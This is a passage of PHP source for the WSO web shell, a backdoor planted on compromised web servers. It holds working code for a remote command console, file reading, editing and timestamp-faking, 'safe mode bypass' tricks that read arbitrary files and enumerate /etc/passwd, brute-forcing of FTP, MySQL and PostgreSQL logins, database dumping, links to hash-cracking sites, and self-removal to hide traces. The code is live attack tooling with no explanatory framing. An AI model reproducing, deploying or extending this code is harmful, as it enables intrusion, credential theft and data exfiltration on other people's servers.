627 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
628 if(class_exists('ZipArchive'))
629 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
630 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
631 echo "<option value='paste'>Paste / zip</option>";
632 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
633 wsoFooter();
634}
635
636function actionStringTools() {
637 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
638 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
639 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
640 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
641 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
642 $stringTools = array(
643 'Base64 encode' => 'base64_encode',
644 'Base64 decode' => 'base64_decode',
645 'Url encode' => 'urlencode',
646 'Url decode' => 'urldecode',
647 'Full urlencode' => 'full_urlencode',
648 'md5 hash' => 'md5',
649 'sha1 hash' => 'sha1',
650 'crypt' => 'crypt',
651 'CRC32' => 'crc32',
652 'ASCII to HEX' => 'ascii2hex',
653 'HEX to ASCII' => 'hex2ascii',
654 'HEX to DEC' => 'hexdec',
655 'HEX to BIN' => 'hex2bin',
656 'DEC to HEX' => 'dechex',
657 'DEC to BIN' => 'decbin',
658 'BIN to HEX' => 'binhex',
659 'BIN to DEC' => 'bindec',
660 'String to lower case' => 'strtolower',
661 'String to upper case' => 'strtoupper',
662 'Htmlspecialchars' => 'htmlspecialchars',
663 'String length' => 'strlen',
664 );
665 if(isset($_POST['ajax'])) {
666 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
667 ob_start();
668 if(in_array($_POST['p1'], $stringTools))
669 echo $_POST['p1']($_POST['p2']);
670 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
671 echo strlen($temp), "\n", $temp;
672 exit;
673 }
674 wsoHeader();
675 echo '<h1>String conversions</h1><div class=content>';
676 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
677 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
678 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
679 foreach($stringTools as $k => $v)
680 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
681 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
682 if(!empty($_POST['p1'])) {
683 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
684 }
685 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
686 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
687 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
688 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
689 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
690 <tr><td></td><td><input type='submit' value='>>'></td></tr>
691 </table></form>";
692
693 function wsoRecursiveGlob($path) {
694 if(substr($path, -1) != '/')
695 $path.='/';
696 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
697 if(is_array($paths)&&@count($paths)) {
698 foreach($paths as $item) {
699 if(@is_dir($item)){
700 if($path!=$item)
701 wsoRecursiveGlob($item);
702 } else {
703 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
704 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
705 }
706 }
707 }
708 }
709 if(@$_POST['p3'])
710 wsoRecursiveGlob($_POST['c']);
711 echo "</div><br><h1>Search for hash:</h1><div class=content>
712 <form method='post' target='_blank' name='hf'>
713 <input type='text' name='hash' style='width:200px;'><br>
714 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
715 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
716 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
717 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
718 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
719 </form></div>";
720 wsoFooter();
721}
722
723function actionFilesTools() {
724 if( isset($_POST['p1']) )
725 $_POST['p1'] = urldecode($_POST['p1']);
726 if(@$_POST['p2']=='download') {
727 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
728 ob_start("ob_gzhandler", 4096);
729 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
730 if (function_exists("mime_content_type")) {
731 $type = @mime_content_type($_POST['p1']);
732 header("Content-Type: ".$type);
733 }
734 $fp = @fopen($_POST['p1'], "r");
735 if($fp) {
736 while(!@feof($fp))
737 echo @fread($fp, 1024);
738 fclose($fp);
739 }
740 }exit;
741 }
742 if( @$_POST['p2'] == 'mkfile' ) {
743 if(!file_exists($_POST['p1'])) {
744 $fp = @fopen($_POST['p1'], 'w');
745 if($fp) {
746 $_POST['p2'] = "edit";
747 fclose($fp);
748 }
749 }
750 }
751 wsoHeader();
752 echo '<h1>File tools</h1><div class=content>';
753 if( !file_exists(@$_POST['p1']) ) {
754 echo 'File not exists';
755 wsoFooter();
756 return;
757 }
758 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
759 if(!$uid) {
760 $uid['name'] = @fileowner($_POST['p1']);
761 $gid['name'] = @filegroup($_POST['p1']);
762 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
763 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
764 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
765 if( empty($_POST['p2']) )
766 $_POST['p2'] = 'view';
767 if( is_file($_POST['p1']) )
768 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
769 else
770 $m = array('Chmod', 'Rename', 'Touch');
771 foreach($m as $v)
772 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
773 echo '<br><br>';
774 switch($_POST['p2']) {
775 case 'view':
776 echo '<pre class=ml1>';
777 $fp = @fopen($_POST['p1'], 'r');
778 if($fp) {
779 while( !@feof($fp) )
780 echo htmlspecialchars(@fread($fp, 1024));
781 @fclose($fp);
782 }
783 echo '</pre>';
784 break;
785 case 'highlight':
786 if( @is_readable($_POST['p1']) ) {
787 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
788 $code = @highlight_file($_POST['p1'],true);
789 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
790 }
791 break;
792 case 'chmod':
793 if( !empty($_POST['p3']) ) {
794 $perms = 0;
795 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
796 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
797 if(!@chmod($_POST['p1'], $perms))
798 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
799 }
800 clearstatcache();
801 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
802 break;
803 case 'edit':
804 if( !is_writable($_POST['p1'])) {
805 echo 'File isn\'t writeable';
806 break;
807 }
808 if( !empty($_POST['p3']) ) {
809 $time = @filemtime($_POST['p1']);
810 $_POST['p3'] = substr($_POST['p3'],1);
811 $fp = @fopen($_POST['p1'],"w");
812 if($fp) {
813 @fwrite($fp,$_POST['p3']);
814 @fclose($fp);
815 echo 'Saved!<br><script>p3_="";</script>';
816 @touch($_POST['p1'],$time,$time);
817 }
818 }
819 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
820 $fp = @fopen($_POST['p1'], 'r');
821 if($fp) {
822 while( !@feof($fp) )
823 echo htmlspecialchars(@fread($fp, 1024));
824 @fclose($fp);
825 }
826 echo '</textarea><input type=submit value=">>"></form>';
827 break;
828 case 'hexdump':
829 $c = @file_get_contents($_POST['p1']);
830 $n = 0;
831 $h = array('00000000<br>','','');
832 $len = strlen($c);
833 for ($i=0; $i<$len; ++$i) {
834 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
835 switch ( ord($c[$i]) ) {
836 case 0: $h[2] .= ' '; break;
837 case 9: $h[2] .= ' '; break;
838 case 10: $h[2] .= ' '; break;
839 case 13: $h[2] .= ' '; break;
840 default: $h[2] .= $c[$i]; break;
841 }
842 $n++;
843 if ($n == 32) {
844 $n = 0;
845 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
846 $h[1] .= '<br>';
847 $h[2] .= "\n";
848 }
849 }
850 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
851 break;
852 case 'rename':
853 if( !empty($_POST['p3']) ) {
854 if(!@rename($_POST['p1'], $_POST['p3']))
855 echo 'Can\'t rename!<br>';
856 else
857 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
858 }
859 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
860 break;
861 case 'touch':
862 if( !empty($_POST['p3']) ) {
863 $time = strtotime($_POST['p3']);
864 if($time) {
865 if(!touch($_POST['p1'],$time,$time))
866 echo 'Fail!';
867 else
868 echo 'Touched!';
869 } else echo 'Bad time format!';
870 }
871 clearstatcache();
872 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
873 break;
874 }
875 echo '</div>';
876 wsoFooter();
877}
878
879function actionSafeMode() {
880 $temp='';
881 ob_start();
882 switch($_POST['p1']) {
883 case 1:
884 $temp=@tempnam($test, 'cx');
885 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
886 echo @file_get_contents($temp);
887 unlink($temp);
888 } else
889 echo 'Sorry... Can\'t open file';
890 break;
891 case 2:
892 $files = glob($_POST['p2'].'*');
893 if( is_array($files) )
894 foreach ($files as $filename)
895 echo $filename."\n";
896 break;
897 case 3:
898 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
899 curl_exec($ch);
900 break;
901 case 4:
902 ini_restore("safe_mode");
903 ini_restore("open_basedir");
904 include($_POST['p2']);
905 break;
906 case 5:
907 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
908 $uid = @posix_getpwuid($_POST['p2']);
909 if ($uid)
910 echo join(':',$uid)."\n";
911 }
912 break;
913 }
914 $temp = ob_get_clean();
915 wsoHeader();
916 echo '<h1>Safe mode bypass</h1><div class=content>';
917 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
918 if($temp)
919 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
920 echo '</div>';
921 wsoFooter();
922}
923
924function actionConsole() {
925 if(isset($_POST['ajax'])) {
926 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
927 ob_start();
928 echo "document.cf.cmd.value='';\n";
929 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
930 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
931 if(@chdir($match[1])) {
932 $GLOBALS['cwd'] = @getcwd();
933 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
934 }
935 }
936 echo "document.cf.output.value+='".$temp."';";
937 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
938 $temp = ob_get_clean();
939 echo strlen($temp), "\n", $temp;
940 exit;
941 }
942 wsoHeader();
943 echo "<script>
944if(window.Event) window.captureEvents(Event.KEYDOWN);
945var cmds = new Array('');
946var cur = 0;
947function kp(e) {
948 var n = (window.Event) ? e.which : e.keyCode;
949 if(n == 38) {
950 cur--;
951 if(cur>=0)
952 document.cf.cmd.value = cmds[cur];
953 else
954 cur++;
955 } else if(n == 40) {
956 cur++;
957 if(cur < cmds.length)
958 document.cf.cmd.value = cmds[cur];
959 else
960 cur--;
961 }
962}
963function add(cmd) {
964 cmds.pop();
965 cmds.push(cmd);
966 cmds.push('');
967 cur = cmds.length-1;
968}
969</script>";
970 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
971 foreach($GLOBALS['aliases'] as $n => $v) {
972 if($v == '') {
973 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
974 continue;
975 }
976 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
977 }
978 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
979 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
980 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
981 if(!empty($_POST['p1'])) {
982 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
983 }
984 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
985 echo '</form></div><script>document.cf.cmd.focus();</script>';
986 wsoFooter();
987}
988
989function actionLogout() {
990 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
991 die('bye!');
992}
993
994function actionSelfRemove() {
995
996 if($_POST['p1'] == 'yes')
997 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
998 die('Shell has been removed');
999 else
1000 echo 'unlink error!';
1001 if($_POST['p1'] != 'yes')
1002 wsoHeader();
1003 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1004 wsoFooter();
1005}
1006
1007function actionBruteforce() {
1008 wsoHeader();
1009 if( isset($_POST['proto']) ) {
1010 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1011 if( $_POST['proto'] == 'ftp' ) {
1012 function bruteForce($ip,$port,$login,$pass) {
1013 $fp = @ftp_connect($ip, $port?$port:21);
1014 if(!$fp) return false;
1015 $res = @ftp_login($fp, $login, $pass);
1016 @ftp_close($fp);
1017 return $res;
1018 }
1019 } elseif( $_POST['proto'] == 'mysql' ) {
1020 function bruteForce($ip,$port,$login,$pass) {
1021 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1022 @mysql_close($res);
1023 return $res;
1024 }
1025 } elseif( $_POST['proto'] == 'pgsql' ) {
1026 function bruteForce($ip,$port,$login,$pass) {
1027 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1028 $res = @pg_connect($str);
1029 @pg_close($res);
1030 return $res;
1031 }
1032 }
1033 $success = 0;
1034 $attempts = 0;
1035 $server = explode(":", $_POST['server']);
1036 if($_POST['type'] == 1) {
1037 $temp = @file('/etc/passwd');
1038 if( is_array($temp) )
1039 foreach($temp as $line) {
1040 $line = explode(":", $line);
1041 ++$attempts;
1042 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1043 $success++;
1044 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1045 }
1046 if(@$_POST['reverse']) {
1047 $tmp = "";
1048 for($i=strlen($line[0])-1; $i>=0; --$i)
1049 $tmp .= $line[0][$i];
1050 ++$attempts;
1051 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1052 $success++;
1053 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1054 }
1055 }
1056 }
1057 } elseif($_POST['type'] == 2) {
1058 $temp = @file($_POST['dict']);
1059 if( is_array($temp) )
1060 foreach($temp as $line) {
1061 $line = trim($line);
1062 ++$attempts;
1063 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1064 $success++;
1065 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1066 }
1067 }
1068 }
1069 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1070 }
1071 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1072 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1073 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1074 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1075 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1076 .'<span>Server:port</span></td>'
1077 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1078 .'<tr><td><span>Brute type</span></td>'
1079 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1080 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1081 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1082 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1083 .'<td><input type=text name=login value="root"></td></tr>'
1084 .'<tr><td><span>Dictionary</span></td>'
1085 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1086 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1087 echo '</div><br>';
1088 wsoFooter();
1089}
1090
1091function actionSql() {
1092 class DbClass {
1093 var $type;
1094 var $link;
1095 var $res;
1096 function DbClass($type) {
1097 $this->type = $type;
1098 }
1099 function connect($host, $user, $pass, $dbname){
1100 switch($this->type) {
1101 case 'mysql':
1102 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1103 break;
1104 case 'pgsql':
1105 $host = explode(':', $host);
1106 if(!$host[1]) $host[1]=5432;
1107 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1108 break;
1109 }
1110 return false;
1111 }
1112 function selectdb($db) {
1113 switch($this->type) {
1114 case 'mysql':
1115 if (@mysql_select_db($db))return true;
1116 break;
1117 }
1118 return false;
1119 }
1120 function query($str) {
1121 switch($this->type) {
1122 case 'mysql':
1123 return $this->res = @mysql_query($str);
1124 break;
1125 case 'pgsql':
1126 return $this->res = @pg_query($this->link,$str);
1127 break;
1128 }
1129 return false;
1130 }
1131 function fetch() {
1132 $res = func_num_args()?func_get_arg(0):$this->res;
1133 switch($this->type) {
1134 case 'mysql':
1135 return @mysql_fetch_assoc($res);
1136 break;
1137 case 'pgsql':
1138 return @pg_fetch_assoc($res);
1139 break;
1140 }
1141 return false;
1142 }
1143 function listDbs() {
1144 switch($this->type) {
1145 case 'mysql':
1146 return $this->res = @mysql_list_dbs($this->link);
1147 break;
1148 case 'pgsql':
1149 return $this->res = $this->query("SELECT datname FROM pg_database");
1150 break;
1151 }
1152 return false;
1153 }
1154 function listTables() {
1155 switch($this->type) {
1156 case 'mysql':
1157 return $this->res = $this->query('SHOW TABLES');
1158 break;
1159 case 'pgsql':
1160 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1161 break;
1162 }
1163 return false;
1164 }
1165 function error() {
1166 switch($this->type) {
1167 case 'mysql':
1168 return @mysql_error($this->link);
1169 break;
1170 case 'pgsql':
1171 return @pg_last_error($this->link);
1172 break;
1173 }
1174 return false;
1175 }
1176 function setCharset($str) {
1177 switch($this->type) {
1178 case 'mysql':
1179 if(function_exists('mysql_set_charset'))
1180 return @mysql_set_charset($str, $this->link);
1181 else
1182 $this->query('SET CHARSET '.$str);
1183 break;
1184 case 'pgsql':
1185 return @pg_set_client_encoding($this->link, $str);
1186 break;
1187 }
1188 return false;
1189 }
1190 function loadFile($str) {
1191 switch($this->type) {
1192 case 'mysql':
1193 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1194 break;
1195 case 'pgsql':
1196 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1197 $r=array();
1198 while($i=$this->fetch())
1199 $r[] = $i['file'];
1200 $this->query('drop table wso2');
1201 return array('file'=>implode("\n",$r));
1202 break;
1203 }
1204 return false;
1205 }
1206 function dump($table) {
1207 switch($this->type) {
1208 case 'mysql':
1209 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1210 $create = mysql_fetch_array($res);
1211 echo $create[1].";\n\n";
1212 $this->query('SELECT * FROM `'.$table.'`');
1213 while($item = $this->fetch()) {
1214 $columns = array();
1215 foreach($item as $k=>$v) {
1216 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1217 $columns[] = "`".$k."`";
1218 }
1219 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1220 }
1221 break;
1222 case 'pgsql':
1223 $this->query('SELECT * FROM '.$table);
1224 while($item = $this->fetch()) {
1225 $columns = array();
1226 foreach($item as $k=>$v) {
1227 $item[$k] = "'".addslashes($v)."'";
1228 $columns[] = $k;
1229 }
1230 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1231 }
1232 break;
1233 }
1234 return false;
1235 }
1236 };
1237 $db = new DbClass($_POST['type']);
1238 if(@$_POST['p2']=='download') {
1239 ob_start("ob_gzhandler", 4096);
1240 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1241 $db->selectdb($_POST['sql_base']);
1242 header("Content-Disposition: attachment; filename=dump.sql");
1243 header("Content-Type: text/plain");
1244 foreach($_POST['tbl'] as $v)
1245 $db->dump($v);
1246 exit;
1247 }
1248 wsoHeader();
1249 echo "
1250<h1>Sql browser</h1><div class=content>
1251<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1252<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1253<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1254<td><select name='type'><option value='mysql' ";
1255 if(@$_POST['type']=='mysql')echo 'selected';
1256echo ">MySql</option><option value='pgsql' ";
1257if(@$_POST['type']=='pgsql')echo 'selected';
1258echo ">PostgreSql</option></select></td>
1259<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1260<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1261<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1262 $tmp = "<input type=text name=sql_base value=''>";
1263 if(isset($_POST['sql_host'])){
1264 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1265 switch($_POST['charset']) {
1266 case "Windows-1251": $db->setCharset('cp1251'); break;
1267 case "UTF-8": $db->setCharset('utf8'); break;
1268 case "KOI8-R": $db->setCharset('koi8r'); break;
1269 case "KOI8-U": $db->setCharset('koi8u'); break;
1270 case "cp866": $db->setCharset('cp866'); break;
1271 }
1272 $db->listDbs();
1273 echo "<select name=sql_base><option value=''></option>";
1274 while($item = $db->fetch()) {
1275 list($key, $value) = each($item);
1276 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1277 }
1278 echo '</select>';
1279 }
1280 else echo $tmp;
1281 }else
1282 echo $tmp;
1283 echo "</td>
1284 <td><input type=submit value='>>'></td>
1285 </tr>
1286 </table>
1287 <script>
1288 function st(t,l) {
1289 document.sf.p1.value = 'select';
1290 document.sf.p2.value = t;
1291 if(l!=null)document.sf.p3.value = l;
1292 document.sf.submit();
1293 }
1294 function is() {
1295 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1296 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1297 }
1298 </script>";
1299 if(isset($db) && $db->link){
1300 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1301 if(!empty($_POST['sql_base'])){
1302 $db->selectdb($_POST['sql_base']);
1303 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1304 $tbls_res = $db->listTables();
1305 while($item = $db->fetch($tbls_res)) {
1306 list($key, $value) = each($item);
1307 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1308 $value = htmlspecialchars($value);
1309 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1310 }
1311 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1312 if(@$_POST['p1'] == 'select') {
1313 $_POST['p1'] = 'query';
1314 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1315 $num = $db->fetch();
1316 $num = $num['n'];
1317 echo "<span>".$_POST['p2']."</span> ($num) ";
1318 for($i=0;$i<($num/30);$i++)
1319 if($i != (int)$_POST['p3'])
1320 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1321 else
1322 echo ($i+1)," ";
1323 if($_POST['type']=='pgsql')
1324 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1325 else
1326 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1327 echo "<br><br>";
1328 }
1329 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1330 $db->query(@$_POST['p3']);
1331 if($db->res !== false) {
1332 $title = false;
1333 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1334 $line = 1;
1335 while($item = $db->fetch()) {
1336 if(!$title) {
1337 echo '<tr>';
